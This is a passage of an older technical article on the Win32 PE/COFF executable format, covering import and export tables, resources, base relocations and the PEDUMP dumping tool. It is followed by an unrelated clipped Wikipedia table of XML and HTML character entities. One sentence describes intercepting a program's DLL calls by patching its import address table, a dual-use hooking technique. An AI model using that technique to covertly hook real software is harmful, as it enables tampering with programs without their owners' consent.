method of finding the description string \(or even if it's present at all\).

These .debug$S and .debug$T sections only appear in OBJs. They store the
CodeView symbol and type information. The section names are derived from the
segment names used for this purpose by previous 16-bit compilers \($$SYMBOLS
and $$TYPES\). The sole purpose of the .debug$T section is to hold the
pathname to the PDB file that contains the CodeView information for all the
OBJs in the project. The linker reads in the PDB and uses it to create
portions of the CodeView information that it places at the end of the finished
PE file.

The .drective section only appears in OBJ files. It contains text
representations of commands for the linker. For example, in any OBJ I compile
with the Microsoft compiler, the following strings appear in the .drectve
section:

Copy

[code]

    -defaultlib:LIBC -defaultlib:OLDNAMES
      
    
[/code]

When you use \_ \_declspec\(export\) in your code, the compiler simply emits
the command-line equivalent into the .drectve section \(for instance,
"-export:MyFunction"\).

In playing around with PEDUMP, I've encountered other sections from time to
time. For instance, in the Windows 95 KERNEL32.DLL, there are LOCKCODE and
LOCKDATA sections. Presumably these are sections that will get special paging
treatment so that they're never paged out of memory.

There are two lessons to be learned from this. First, don't feel constrained
to use only the standard sections provided by the compiler or assembler. If
you need a separate section for some reason, don't hesitate to create your
own. In the C/C++ compiler, use the \#pragma code\_seg and \#pragma data\_seg.
In assembly language, just create a 32-bit segment \(which becomes a section\)
with a name different from the standard sections. If using TLINK32, you must
use a different class or turn off code segment packing. The other thing to
remember is that section names that are out of the ordinary can often give a
deeper insight into the purpose and implementation of a particular PE file.

## PE File Imports

Earlier, I described how function calls to outside DLLs don't call the DLL
directly. Instead, the CALL instruction goes to a JMP DWORD PTR \[XXXXXXXX\]
instruction somewhere in the executable's .text section \(or .icode section if
you're using Borland C++\). The address that the JMP instruction looks up and
transfers control to is the real target address. The PE file's .idata section
contains the information necessary for the loader to determine the addresses
of the target functions and patch them into the executable image.

The .idata section \(or import table, as I prefer to call it\) begins with an
array of IMAGE\_IMPORT\_DESCRIPTORs. There is one IMAGE\_IMPORT\_DESCRIPTOR
for each DLL that the PE file implicitly links to. There's no field indicating
the number of structures in this array. Instead, the last element of the array
is indicated by an IMAGE\_IMPORT\_DESCRIPTOR that has fields filled with
NULLs. The format of an IMAGE\_IMPORT\_DESCRIPTOR is shown in Figure 10.

**Table 8. IMAGE\_IMPORT\_DESCRIPTOR Format**

`DWORD Characteristics`

    At one time, this may have been a set of flags. However, Microsoft changed its meaning and never bothered to update WINNT.H. This field is really an offset \(an RVA\) to an array of pointers. Each of these pointers points to an IMAGE\_IMPORT\_BY\_NAME structure. 
`DWORD TimeDateStamp`

    The time/date stamp indicating when the file was built. 
`DWORD ForwarderChain`

    This field relates to forwarding. Forwarding involves one DLL sending on references to one of its functions to another DLL. For example, in Windows NT, NTDLL.DLL appears to forward some of its exported functions to KERNEL32.DLL. An application may think it's calling a function in NTDLL.DLL, but it actually ends up calling into KERNEL32.DLL. This field contains an index into FirstThunk array \(described momentarily\). The function indexed by this field will be forwarded to another DLL. Unfortunately, the format of how a function is forwarded isn't documented, and examples of forwarded functions are hard to find.
`DWORD Name`

    This is an RVA to a NULL-terminated ASCII string containing the imported DLL's name. Common examples are "KERNEL32.DLL" and "USER32.DLL".
`PIMAGE_THUNK_DATA FirstThunk`

    This field is an offset \(an RVA\) to an IMAGE\_THUNK\_DATA union. In almost every case, the union is interpreted as a pointer to an IMAGE\_IMPORT\_BY\_NAME structure. If the field isn't one of these pointers, then it's supposedly treated as an export ordinal value for the DLL that's being imported. It's not clear from the documentation if you really can import a function by ordinal rather than by name. 
The important parts of an IMAGE\_IMPORT\_DESCRIPTOR are the imported DLL name
and the two arrays of IMAGE\_IMPORT\_BY\_NAME pointers. In the EXE file, the
two arrays \(pointed to by the Characteristics and FirstThunk fields\) run
parallel to each other, and are terminated by a NULL pointer entry at the end
of each array. The pointers in both arrays point to an IMAGE\_IMPORT\_BY\_NAME
structure. Figure 11 shows the situation graphically. Figure 12 shows the
PEDUMP output for an imports table.

`<img src='img/Temp2_6188.gif' />`

**Figure 3. Two parallel arrays of pointers**

**Table 9. Imports Table from an EXE File**

Copy

[code]

    GDI32.dll
      Hint/Name Table: 00013064
      TimeDateStamp:   2C51B75B
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 00013214
      Ordn  Name
        48  CreatePen
        57  CreateSolidBrush
        62  DeleteObject
       160  GetDeviceCaps
        //  Rest of table omitted...
    
      KERNEL32.dll
      Hint/Name Table: 0001309C
      TimeDateStamp:   2C4865A0
      ForwarderChain:  00000014
      First thunk RVA: 0001324C
      Ordn  Name
        83  ExitProcess
       137  GetCommandLineA
       179  GetEnvironmentStrings
       202  GetModuleHandleA
        //  Rest of table omitted...
    
      SHELL32.dll
      Hint/Name Table: 00013138
      TimeDateStamp:   2C41A383
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 000132E8
      Ordn  Name
        46  ShellAboutA
    
      USER32.dll
      Hint/Name Table: 00013140
      TimeDateStamp:   2C474EDF
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 000132F0
      Ordn  Name
        10  BeginPaint
        35  CharUpperA
        39  CheckDlgButton
        40  CheckMenuItem
      
        //  Rest of table omitted...
    
    
[/code]

There is one IMAGE\_IMPORT\_BY\_NAME structure for each function that the PE
file imports. An IMAGE\_IMPORT\_BY\_NAME structure is very simple, and looks
like this:

Copy

[code]

    WORD    Hint;
    BYTE    Name[?];
    
    
[/code]

The first field is the best guess as to what the export ordinal for the
imported function is. Unlike with NE files, this value doesn't have to be
correct. Instead, the loader uses it as a suggested starting value for its
binary search for the exported function. Next is an ASCIIZ string with the
name of the imported function.

Why are there two parallel arrays of pointers to the IMAGE\_IMPORT\_BY\_NAME
structures? The first array \(the one pointed at by the Characteristics
field\) is left alone, and never modified. It's sometimes called the hint-name
table. The second array \(pointed at by the FirstThunk field\) is overwritten
by the PE loader. The loader iterates through each pointer in the array and
finds the address of the function that each IMAGE\_IMPORT\_BY\_NAME structure
refers to. The loader then overwrites the pointer to IMAGE\_IMPORT\_BY\_NAME
with the found function's address. The \[XXXXXXXX\] portion of the JMP DWORD
PTR \[XXXXXXXX\] thunk refers to one of the entries in the FirstThunk array.
Since the array of pointers that's overwritten by the loader eventually holds
the addresses of all the imported functions, it's called the Import Address
Table.

For you Borland users, there's a slight twist to the above description. A PE
file produced by TLINK32 is missing one of the arrays. In such an executable,
the Characteristics field in the IMAGE\_IMPORT\_DESCRIPTOR \(aka the hint-name
array\) is 0. Therefore, only the array that's pointed at by the FirstThunk
field \(the Import Address Table\) is guaranteed to exist in all PE files. The
story would end here, except that I ran into an interesting problem when
writing PEDUMP. In the never ending search for optimizations, Microsoft
"optimized" the thunk array in the system DLLs for Windows NT \(KERNEL32.DLL
and so on\). In this optimization, the pointers in the array don't point to an
IMAGE\_IMPORT\_BY\_NAME structure—rather, they already contain the address of
the imported function. In other words, the loader doesn't need to look up
function addresses and overwrite the thunk array with the imported function's
addresses. This causes a problem for PE dumping programs that are expecting
the array to contain pointers to IMAGE\_IMPORT\_BY\_NAME structures. You might
be thinking, "But Matt, why don't you just use the hint-name table array?"
That would be an ideal solution, except that the hint-name table array doesn't
exist in Borland files. The PEDUMP program handles all these situations, but
the code is understandably messy.

Since the import address table is in a writeable section, it's relatively easy
to intercept calls that an EXE or DLL makes to another DLL. Simply patch the
appropriate import address table entry to point at the desired interception
function. There's no need to modify any code in either the caller or callee
images. What could be easier?

It's interesting to note that in Microsoft-produced PE files, the import table
is not something wholly synthesized by the linker. All the pieces necessary to
call a function in another DLL reside in an import library. When you link a
DLL, the library manager \(LIB32.EXE or LIB.EXE\) scans the OBJ files being
linked and creates an import library. This import library is completely
different from the import libraries used by 16-bit NE file linkers. The import
library that the 32-bit LIB produces has a .text section and several .idata$
sections. The .text section in the import library contains the JMP DWORD PTR
\[XXXXXXXX\] thunk, which has a name stored for it in the OBJ's symbol table.
The name of the symbol is identical to the name of the function being exported
by the DLL \(for example, \_Dispatch\_Message@4\). One of the .idata$ sections
in the import library contains the DWORD that the thunk dereferences through.
Another of the .idata$ sections has a space for the hint ordinal followed by
the imported function's name. These two fields make up an
IMAGE\_IMPORT\_BY\_NAME structure. When you later link a PE file that uses the
import library, the import library's sections are added to the list of
sections from your OBJs that the linker needs to process. Since the thunk in
the import library has the same name as the function being imported, the
linker assumes the thunk is really the imported function, and fixes up calls
to the imported function to point at the thunk. The thunk in the import
library is essentially "seen" as the imported function.

Besides providing the code portion of an imported function thunk, the import
library provides the pieces of the PE file's .idata section \(or import
table\). These pieces come from the various .idata$ sections that the library
manager put into the import library. In short, the linker doesn't really know
the differences between imported functions and functions that appear in a
different OBJ file. The linker just follows its preset rules for building and
combining sections, and everything falls into place naturally.

## PE File Exports

The opposite of importing a function is exporting a function for use by EXEs
or other DLLs. A PE file stores information about its exported functions in
the .edata section. Generally, Microsoft linker-generated PE EXE files don't
export anything, so they don't have an .edata section. Borland's TLINK32
always exports at least one symbol from an EXE. Most DLLs do export functions
and have an .edata section. The primary components of an .edata section \(aka
the export table\) are tables of function names, entry point addresses, and
export ordinal values. In an NE file, the equivalents of an export table are
the entry table, the resident names table, and the nonresident names table.
These tables are stored as part of the NE header, rather than in distinct
segments or resources.

At the start of an .edata section is an IMAGE\_EXPORT\_DIRECTORY structure
\(see Table 10\). This structure is immediately followed by data pointed to by
fields in the structure.

**Table 10. IMAGE\_EXPORT\_DIRECTORY Format**

`DWORD Characteristics`

    This field appears to be unused and is always set to 0.
`DWORD TimeDateStamp`

    The time/date stamp indicating when this file was created.
`WORD MajorVersion`

`WORD MinorVersion`

    These fields appear to be unused and are set to 0.
`DWORD Name`

    The RVA of an ASCIIZ string with the name of this DLL. 
`DWORD Base`

    The starting ordinal number for exported functions. For example, if the file exports functions with ordinal values of 10, 11, and 12, this field contains 10. To obtain the exported ordinal for a function, you need to add this value to the appropriate element of the AddressOfNameOrdinals array. 
`DWORD NumberOfFunctions`

    The number of elements in the AddressOfFunctions array. This value is also the number of functions exported by this module. Theoretically, this value could be different than the NumberOfNames field \(next\), but actually they're always the same.
`DWORD NumberOfNames`

    The number of elements in the AddressOfNames array. This value seems always to be identical to the NumberOfFunctions field, and so is the number of exported functions.
`PDWORD *AddressOfFunctions`

    This field is an RVA and points to an array of function addresses. The function addresses are the entry points \(RVAs\) for each exported function in this module.
`PDWORD *AddressOfNames`

    This field is an RVA and points to an array of string pointers. The strings are the names of the exported functions in this module.
`PWORD *AddressOfNameOrdinals`

    This field is an RVA and points to an array of WORDs. The WORDs are the export ordinals of all the exported functions in this module. However, don't forget to add in the starting ordinal number specified in the Base field.
The layout of the export table is somewhat odd \(see Figure 4 and Table 10\).
As I mentioned earlier, the requirements for exporting a function are a name,
an address, and an export ordinal. You'd think that the designers of the PE
format would have put all three of these items into a structure, and then have
an array of these structures. Instead, each component of an exported entry is
an element in an array. There are three of these arrays \(AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals\), and they are all parallel to one
another. To find all the information about the fourth function, you need to
look up the fourth element in each array.

`<img src='img/Temp2_6185.gif' />`

**Figure 4. Export table layout**

**Table 11. Typical Exports Table from an EXE File**

Copy

[code]

    Name:            KERNEL32.dll
      Characteristics: 00000000
      TimeDateStamp:   2C4857D3
      Version:         0.00
      Ordinal base:    00000001
      # of functions:  0000021F
      # of Names:      0000021F
    
      Entry Pt  Ordn  Name
      00005090     1  AddAtomA
      00005100     2  AddAtomW
      00025540     3  AddConsoleAliasA
      00025500     4  AddConsoleAliasW
      00026AC0     5  AllocConsole
      00001000     6  BackupRead
      00001E90     7  BackupSeek
      00002100     8  BackupWrite
      0002520C     9  BaseAttachCompleteThunk
      00024C50    10  BasepDebugDump
      // Rest of table omitted...
    
    
[/code]

Incidentally, if you dump out the exports from the Windows NT system DLLs
\(for example, KERNEL32.DLL and USER32.DLL\), you'll note that in many cases
there are two functions that only differ by one character at the end of the
name, for instance CreateWindowExA and CreateWindowExW. This is how UNICODE
support is implemented transparently. The functions that end with A are the
ASCII \(or ANSI\) compatible functions, while those ending in W are the
UNICODE version of the function. In your code, you don't explicitly specify
which function to call. Instead, the appropriate function is selected in
WINDOWS.H, via preprocessor \#ifdefs. This excerpt from the Windows NT
WINDOWS.H shows an example of how this works:

Copy

[code]

    #ifdef UNICODE
    #define DefWindowProc  DefWindowProcW
    #else
    #define DefWindowProc  DefWindowProcA
    #endif // !UNICODE
      
    
[/code]

## PE File Resources

Finding resources in a PE file is quite a bit more complicated than in an NE
file. The formats of the individual resources \(for example, a menu\) haven't
changed significantly but you need to traverse a strange hierarchy to find
them.

Navigating the resource directory hierarchy is like navigating a hard disk.
There's a master directory \(the root directory\), which has subdirectories.
The subdirectories have subdirectories of their own that may point to the raw
resource data for things like dialog templates. In the PE format, both the
root directory of the resource directory hierarchy and all of its
subdirectories are structures of type IMAGE\_RESOURCE\_DIRECTORY \(see Table
12\).

**Table 12. IMAGE\_RESOURCE\_DIRECTORY Format**

`DWORD Characteristics`

    Theoretically this field could hold flags for the resource, but appears to always be 0.
`DWORD TimeDateStamp`

    The time/date stamp describing the creation time of the resource.
`WORD MajorVersion`

`WORD MinorVersion`

    Theoretically these fields would hold a version number for the resource. These field appear to always be set to 0.
`WORD NumberOfNamedEntries`

The number of array elements that use names and that follow this structure.

`WORD NumberOfIdEntries`

    The number of array elements that use integer IDs, and which follow this structure.
`IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]`

    This field isn't really part of the IMAGE\_RESOURCE\_DIRECTORY structure. Rather, it's an array of IMAGE\_RESOURCE\_DIRECTORY\_ENTRY structures that immediately follow the IMAGE\_RESOURCE\_DIRECTORY structure. The number of elements in the array is the sum of the NumberOfNamedEntries and NumberOfIdEntries fields. The directory entry elements that have name identifiers \(rather than integer IDs\) come first in the array.
A directory entry can either point at a subdirectory \(that is, to another
IMAGE\_RESOURCE\_DIRECTORY\), or it can point to the raw data for a resource.
Generally, there are at least three directory levels before you get to the
actual raw resource data. The top-level directory \(of which there's only
one\) is always found at the beginning of the resource section \(.rsrc\). The
subdirectories of the top-level directory correspond to the various types of
resources found in the file. For example, if a PE file includes dialogs,
string tables, and menus, there will be three subdirectories: a dialog
directory, a string table directory, and a menu directory. Each of these type
subdirectories will in turn have ID subdirectories. There will be one ID
subdirectory for each instance of a given resource type. In the above example,
if there are three dialog boxes, the dialog directory will have three ID
subdirectories. Each ID subdirectory will have either a string name \(such as
"MyDialog"\) or the integer ID used to identify the resource in the RC file.
Figure 5 shows a resource directory hierarchy example in visual form. Table 13
shows the PEDUMP output for the resources in the Windows NT CLOCK.EXE.

`<img src='img/Temp2_6184.gif' />`

**Figure 5. Resource directory hierarchy**

**Table 13. Resources Hierarchy for CLOCK.EXE**

Copy

[code]

    ResDir (0) Named:00 ID:06 TimeDate:2C3601DB Vers:0.00 Char:0
        ResDir (ICON) Named:00 ID:02 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000200
            ResDir (2) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000210
        ResDir (MENU) Named:02 ID:00 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (CLOCK) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000220
            ResDir (GENERICMENU) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000230
        ResDir (DIALOG) Named:01 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (ABOUTBOX) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000240
            ResDir (64) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000250
        ResDir (STRING) Named:00 ID:03 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000260
            ResDir (2) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000270
            ResDir (3) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000280
        ResDir (GROUP_ICON) Named:01 ID:00 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (CCKK) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000290
        ResDir (VERSION) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 000002A0
      
    
[/code]

As mentioned earlier, each directory entry is a structure of type
IMAGE\_RESOURCE\_DIRECTORY\_ENTRY \(boy, these names are getting long\!\).
Each IMAGE\_RESOURCE\_DIRECTORY\_ENTRY has the format shown in Table 13.

**Table 14. IMAGE\_RESOURCE\_DIRECTORY\_ENTRY Format**

`DWORD Name`

    This field contains either an integer ID or a pointer to a structure that contains a string name. If the high bit \(0x80000000\) is zero, this field is interpreted as an integer ID. If the high bit is nonzero, the lower 31 bits are an offset \(relative to the start of the resources\) to an IMAGE\_RESOURCE\_DIR\_STRING\_U structure. This structure contains a WORD character count, followed by a UNICODE string with the resource name. Yes, even PE files intended for non-UNICODE Win32 implementations use UNICODE here. To convert the UNICODE string to an ANSI string, use the WideCharToMultiByte function.
`DWORD OffsetToData`

    This field is either an offset to another resource directory or a pointer to information about a specific resource instance. If the high bit \(0x80000000\) is set, this directory entry refers to a subdirectory. The lower 31 bits are an offset \(relative to the start of the resources\) to another IMAGE\_RESOURCE\_DIRECTORY. If the high bit isn't set, the lower 31 bits point to an IMAGE\_RESOURCE\_DATA\_ENTRY structure. The IMAGE\_RESOURCE\_DATA\_ENTRY structure contains the location of the resource's raw data, its size, and its code page.
To go further into the resource formats, I'd need to discuss the format of
each resource type \(dialogs, menus, and so on\). Covering these topics could
easily fill up an entire article on its own.

## PE File Base Relocations

When the linker creates an EXE file, it makes an assumption about where the
file will be mapped into memory. Based on this, the linker puts the real
addresses of code and data items into the executable file. If for whatever
reason the executable ends up being loaded somewhere else in the virtual
address space, the addresses the linker plugged into the image are wrong. The
information stored in the .reloc section allows the PE loader to fix these
addresses in the loaded image so that they're correct again. On the other
hand, if the loader was able to load the file at the base address assumed by
the linker, the .reloc section data isn't needed and is ignored. The entries
in the .reloc section are called base relocations since their use depends on
the base address of the loaded image.

Unlike relocations in the NE file format, base relocations are extremely
simple. They boil down to a list of locations in the image that need a value
added to them. The format of the base relocation data is somewhat quirky. The
base relocation entries are packaged in a series of variable length chunks.
Each chunk describes the relocations for one 4KB page in the image. Let's look
at an example to see how base relocations work. An executable file is linked
assuming a base address of 0x10000. At offset 0x2134 within the image is a
pointer containing the address of a string. The string starts at physical
address 0x14002, so the pointer contains the value 0x14002. You then load the
file, but the loader decides that it needs to map the image starting at
physical address 0x60000. The difference between the linker-assumed base load
address and the actual load address is called the delta. In this case, the
delta is 0x50000. Since the entire image is 0x50000 bytes higher in memory, so
is the string \(now at address 0x64002\). The pointer to the string is now
incorrect. The executable file contains a base relocation for the memory
location where the pointer to the string resides. To resolve a base
relocation, the loader adds the delta value to the original value at the base
relocation address. In this case, the loader would add 0x50000 to the original
pointer value \(0x14002\), and store the result \(0x64002\) back into the
pointer's memory. Since the string really is at 0x64002, everything is fine
with the world.

Each chunk of base relocation data begins with an IMAGE\_BASE\_RELOCATION
structure that looks like Table 14. Table 15 shows some base relocations as
shown by PEDUMP. Note that the RVA values shown have already been displaced by
the VirtualAddress in the IMAGE\_BASE\_RELOCATION field.

**Figure 15. IMAGE\_BASE\_RELOCATION Format**

`DWORD VirtualAddress`

    This field contains the starting RVA for this chunk of relocations. The offset of each relocation that follows is added to this value to form the actual RVA where the relocation needs to be applied.
`DWORD SizeOfBlock`

    The size of this structure plus all the WORD relocations that follow. To determine the number of relocations in this block, subtract the size of an IMAGE\_BASE\_RELOCATION \(8 bytes\) from the value of this field, and then divide by 2 \(the size of a WORD\). For example, if this field contains 44, there are 18 relocations that immediately follow: 
Copy

[code]

     (44 - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD) = 18
    WORD TypeOffset
      
    
[/code]

> This isn't just a single WORD, but rather an array of WORDs, the number of
> which is calculated by the above formula. The bottom 12 bits of each WORD
> are a relocation offset, and need to be added to the value of the Virtual
> Address field from this relocation block's header. The high 4 bits of each
> WORD are a relocation type. For PE files that run on Intel CPUs, you'll only
> see two types of relocations:
0| IMAGE\_REL\_BASED\_ABSOLUTE| This relocation is meaningless and is only
used as a place holder to round relocation blocks up to a DWORD multiple size.  
---|---|---  
3| IMAGE\_REL\_BASED\_HIGHLOW| This relocation means add both the high and low
16 bits of the delta to the DWORD specified by the calculated RVA.  
**Table 16. The Base Relocations from an EXE File**

Copy

[code]

    Virtual Address: 00001000  size: 0000012C
      00001032 HIGHLOW
      0000106D HIGHLOW
      000010AF HIGHLOW
      000010C5 HIGHLOW
      // Rest of chunk omitted...
    Virtual Address: 00002000  size: 0000009C
      000020A6 HIGHLOW
      00002110 HIGHLOW
      00002136 HIGHLOW
      00002156 HIGHLOW
      // Rest of chunk omitted...
    Virtual Address: 00003000  size: 00000114
      0000300A HIGHLOW
      0000301E HIGHLOW
      0000303B HIGHLOW
      0000306A HIGHLOW
      // Rest of relocations omitted...
    
    
[/code]

## Differences Between PE and COFF OBJ Files

There are two portions of the PE file that are not used by the operating
system. These are the COFF symbol table and the COFF debug information. Why
would anyone need COFF debug information when the much more complete CodeView
information is available? If you intend to use the Windows NT system debugger
\(NTSD\) or the Windows NT kernel debugger \(KD\), COFF is the only game in
town. For those of you who are interested, I've included a detailed
description of these parts of the PE file in the online posting that
accompanies this article \(available on all MSJ bulletin boards\).

At many points throughout the preceding discussion, I've noted that many
structures and tables are the same in both a COFF OBJ file and the PE file
created from it. Both COFF OBJ and PE files have an IMAGE\_FILE\_HEADER at or
near their beginning. This header is followed by a section table that contains
information about all the sections in the file. The two formats also share the
same line number and symbol table formats, although the PE file can have
additional non-COFF symbol tables as well. The amount of commonality between
the OBJ and PE EXE formats is evidenced by the large amount of common code in
PEDUMP \(see COMMON.C on any MSJ bulletin board\).

This similarity between the two file formats isn't happenstance. The goal of
this design is to make the linker's job as easy as possible. Theoretically,
creating an EXE file from a single OBJ should be just a matter of inserting a
few tables and modifying a couple of file offsets within the image. With this
in mind, you can think of a COFF file as an embryonic PE file. Only a few
things are missing or different, so I'll list them here.

  * COFF OBJ files don't have an MS-DOS stub preceding the IMAGE\_FILE\_HEADER, nor is there a "PE" signature preceding the IMAGE\_FILE\_HEADER.
  * OBJ files don't have the IMAGE\_OPTIONAL\_HEADER. In a PE file, this structure immediately follows the IMAGE\_FILE\_HEADER. Interestingly, COFF LIB files do have an IMAGE\_OPTIONAL\_HEADER. Space constraints prevent me from talking about LIB files here.
  * OBJ files don't have base relocations. Instead, they have regular symbol-based fixups. I haven't gone into the format of the COFF OBJ file relocations because they're fairly obscure. If you want to dig into this particular area, the PointerToRelocations and NumberOfRelocations fields in the section table entries point to the relocations for each section. The relocations are an array of IMAGE\_RELOCATION structures, which is defined in WINNT.H. The PEDUMP program can show OBJ file relocations if you enable the proper switch. 
  * The CodeView information in an OBJ file is stored in two sections \(.debug$S and .debug$T\). When the linker processes the OBJ files, it doesn't put these sections in the PE file. Instead, it collects all these sections and builds a single symbol table stored at the end of the file. This symbol table isn't a formal section \(that is, there's no entry for it in the PE's section table\).

## Using PEDUMP

PEDUMP is a command-line utility for dumping PE files and COFF OBJ format
files. It uses the Win32 console capabilities to eliminate the need for
extensive user interface work. The syntax for PEDUMP is as follows:

Copy

[code]

    PEDUMP [switches] filename
      
    
[/code]

The switches can be seen by running PEDUMP with no arguments. PEDUMP uses the
switches shown in Table 17. By default, none of the switches are enabled.
Running PEDUMP without any of the switches provides most of the useful
information without creating a huge amount of output. PEDUMP sends its output
to the standard output file, so its output can be redirected to a file with an
> on the command line.

**Table 17. PEDUMP Switches**

/A| Include everything in dump \(essentially, enable all the switches\)  
---|---  
/H| Include a hex dump of each section at the end of the dump  
/L| Include line number information \(both PE and COFF OBJ files\)  
/R| Show base relocations \(PE files only\)  
/S| Show symbol table \(both PE and COFF OBJ files\)  
## Summary

With the advent of Win32, Microsoft made sweeping changes in the OBJ and
executable file formats to save time and build on work previously done for
other operating systems. A primary goal of these file formats is to enhance
portability across different platforms.

© 2010 Microsoft Corporation. All rights reserved. Terms of Use | Trademarks | Privacy Statement | Feedback<img src='img/Temp2_6187.gif' />
Feedback on the Lightweight view

x

Lightweight builds on ScriptFree \(loband\) by adding features users have
requested: a search box and default code language selection

Did the page load quickly?

Yes No

Do you like the page design?

Yes No

How useful is this topic?

<img src='img/Temp2_6181.gif' />

Tell us more

<img src='img/Temp2_6183.gif' width='0' height='0' alt='Page view tracker' />

# List of XML and HTML character entity references - Wikipedia, the free
encyclopedia

**Created:**| _12/12/2010 12:25:49 PM_  
---|---  
**Updated:**| _12/12/2010 12:26:08 PM_  
**Author:**| __  
**Tags:**| _cheat sheets web xml_  
  

## Predefined entities in XML

The XML specification does not use the term "character entity" or "character
entity reference". The XML specification defines five "predefined entities"
representing special characters, and requires that all XML processors honor
them. The entities can be explicitly declared in a DTD, as well, but if this
is done, the replacement text must be the same as the built-in definitions.
XML also allows other named entities of any size to be defined on a per-
document basis.

The table below lists the five XML predefined entities. The "Name" column
mentions the entity's name. The "Character" column shows the character, if it
is renderable. In order to render the character, the format `&name;` is used;
for example, `&amp;` renders as &. The "Unicode code point" column cites the
character via standard UCS/Unicode "U+" notation, which shows the character's
code point in hexadecimal. The decimal equivalent of the code point is then
shown in parentheses. The "Standard" column indicates the first version of XML
that includes the entity. The "Description" column cites the character via its
canonical UCS/Unicode name, in English.

Name | Character | Unicode code point \(decimal\) | Standard | Description  
---|---|---|---|---  
quot | " | U+0022 \(34\) | XML 1.0 | _\(double\)_ quotation mark  
amp | & | U+0026 \(38\) | XML 1.0 | ampersand  
apos | ' | U+0027 \(39\) | XML 1.0 | apostrophe _\(= apostrophe-quote\)_  
lt | < | U+003C \(60\) | XML 1.0 | less-than sign  
gt | > | U+003E \(62\) | XML 1.0 | greater-than sign  
## \[edit\] Character entity references in HTML

The HTML 4 DTDs define 252 named entities, references to which act as mnemonic
aliases for certain Unicode characters. The HTML 4 specification requires the
use of the standard DTDs and does not allow users to define additional
entities.

In the table below, the "Standard" column indicates the first version of the
HTML DTD that defines the character entity reference. HTML 4.01 did not
provide any new character references.

Name<img src='img/Temp2_4956.gif' alt='↓' /> | Character<img src='img/Temp2_4956.gif' alt='↓' /> | Unicode code point \(decimal\)<img src='img/Temp2_4956.gif' alt='↓' /> | Standard<img src='img/Temp2_4956.gif' alt='↓' /> | DTD\[1\]<img src='img/Temp2_4956.gif' alt='↓' /> | Old ISO subset\[2\]<img src='img/Temp2_4956.gif' alt='↓' /> | Description\[3\]<img src='img/Temp2_4956.gif' alt='↓' />  
---|---|---|---|---|---|---  
quot | " | U+0022 \(34\) | HTML 2.0 | HTMLspecial | ISOnum | quotation mark _\(= APL quote\)_  
amp | & | U+0026 \(38\) | HTML 2.0 | HTMLspecial | ISOnum | ampersand  
apos | ' | U+0027 \(39\) | XHTML 1.0 | HTMLspecial | ISOnum | apostrophe _\(= apostrophe-quote\)_ ; see below  
lt | < | U+003C \(60\) | HTML 2.0 | HTMLspecial | ISOnum | less-than sign  
gt | > | U+003E \(62\) | HTML 2.0 | HTMLspecial | ISOnum | greater-than sign  
nbsp |  | U+00A0 \(160\) | HTML 3.2 | HTMLlat1 | ISOnum | no-break space _\(=non-breaking space\)_\[4\]  
iexcl | ¡ | U+00A1 \(161\) | HTML 3.2 | HTMLlat1 | ISOnum | inverted exclamation mark  
cent | ¢ | U+00A2 \(162\) | HTML 3.2 | HTMLlat1 | ISOnum | cent sign  
pound | £ | U+00A3 \(163\) | HTML 3.2 | HTMLlat1 | ISOnum | pound sign  
curren | ¤ | U+00A4 \(164\) | HTML 3.2 | HTMLlat1 | ISOnum | currency sign  
yen | ¥ | U+00A5 \(165\) | HTML 3.2 | HTMLlat1 | ISOnum | yen sign _\(= yuan sign\)_  
brvbar | ¦ | U+00A6 \(166\) | HTML 3.2 | HTMLlat1 | ISOnum | broken bar _\(= broken vertical bar\)_  
sect | § | U+00A7 \(167\) | HTML 3.2 | HTMLlat1 | ISOnum | section sign  
uml | ¨ | U+00A8 \(168\) | HTML 3.2 | HTMLlat1 | ISOdia | diaeresis _\(= spacing diaeresis\)_ ; see German umlaut  
copy | © | U+00A9 \(169\) | HTML 3.2 | HTMLlat1 | ISOnum | copyright sign  
ordf | ª | U+00AA \(170\) | HTML 3.2 | HTMLlat1 | ISOnum | feminine ordinal indicator  
laquo | « | U+00AB \(171\) | HTML 3.2 | HTMLlat1 | ISOnum | left-pointing double angle quotation mark _\(= left pointingguillemet\)_  
not | ¬ | U+00AC \(172\) | HTML 3.2 | HTMLlat1 | ISOnum | not sign  
shy |  | U+00AD \(173\) | HTML 3.2 | HTMLlat1 | ISOnum | soft hyphen _\(= discretionary hyphen\)_  
reg | ® | U+00AE \(174\) | HTML 3.2 | HTMLlat1 | ISOnum | registered sign _\( = registered trade mark sign\)_  
macr | ¯ | U+00AF \(175\) | HTML 3.2 | HTMLlat1 | ISOdia | macron _\(= spacing macron = overline = APL overbar\)_  
deg | ° | U+00B0 \(176\) | HTML 3.2 | HTMLlat1 | ISOnum | degree sign  
plusmn | ± | U+00B1 \(177\) | HTML 3.2 | HTMLlat1 | ISOnum | plus-minus sign _\(= plus-or-minus sign\)_  
sup2 | ² | U+00B2 \(178\) | HTML 3.2 | HTMLlat1 | ISOnum | superscript two _\(= superscript digit two = squared\)_  
